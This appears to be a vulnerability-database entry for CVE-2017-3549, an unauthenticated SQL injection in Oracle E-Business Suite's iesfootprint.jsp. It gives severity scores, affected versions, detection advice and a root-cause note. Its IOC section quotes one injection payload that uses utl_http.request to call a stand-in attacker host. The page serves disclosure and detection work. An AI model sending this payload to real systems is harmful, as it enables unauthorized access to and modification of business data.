CVE-2017-3549

published 2017-04-24

CVE-2017-3549: Vulnerability in the Oracle Scripting component of Oracle E-Business Suite (subcomponent: Scripting Administration). Supported versions that are affected are…

Priority P2 76 critical 9.1 CVSS 3.0

AV N AC L PR N UI N S U C H I H A N

EXPLOIT

Vulnerability in the Oracle Scripting component of Oracle E-Business Suite (subcomponent: Scripting Administration). Supported versions that are affected are 12.1.1, 12.1.2, 12.1.3, 12.2.3, 12.2.4, 12.2.5 and 12.2.6. Easily "exploitable" vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Scripting. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Scripting accessible data as well as unauthorized access to critical data or complete access to all Oracle Scripting accessible data. CVSS 3.0 Base Score 9.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N).

Affected

14 ranges

Vendor	Product	Version range	Fixed in
oracle	scripting	—	—
oracle	scripting	—	—
oracle	scripting	—	—
oracle	scripting	—	—
oracle	scripting	—	—
oracle	scripting	—	—
oracle	scripting	—	—
oracle_corporation	scripting	—	—
oracle_corporation	scripting	—	—
oracle_corporation	scripting	—	—
oracle_corporation	scripting	—	—
oracle_corporation	scripting	—	—
oracle_corporation	scripting	—	—
oracle_corporation	scripting	—	—

Detection & IOCs extracted from sources · hover to see the quote

path /OA_HTML/iesfootprint.jsp↗

filename iesfootprint.jsp↗

command dscriptId=11' AND utl_http.request('http://attackers_host/lalal')='1' GROUP BY panel_name)) --↗

• → Detect outbound UTL_HTTP calls from the Oracle database server, which may indicate blind SQL injection exploitation via out-of-band channel using the payload pattern: utl_http.request('http://...') ↗
• → The vulnerable endpoint accepts unauthenticated HTTP requests; alert on requests to iesfootprint.jsp with showgraph=true and anomalous dscriptId values (non-numeric or containing SQL syntax). ↗

• · The SQL injection is introduced by direct string concatenation of user-supplied parameters (dscriptId, deployDate, responseDate, dscript_name) into a StringBuffer query with no parameterization or input validation. ↗
• · Affected versions span Oracle EBS 12.1.1 through 12.2.6; the PoC was demonstrated on 12.2.3 but the vulnerability is present across all listed versions. ↗

CVSS provenance

nvd v3.0 9.1 CRITICAL CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

nvd v2.0 7.5 HIGH AV:N/AC:L/Au:N/C:P/I:P/A:P

CVEs like this are exactly what “Exploited This Week” covers.

Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.

CWE-89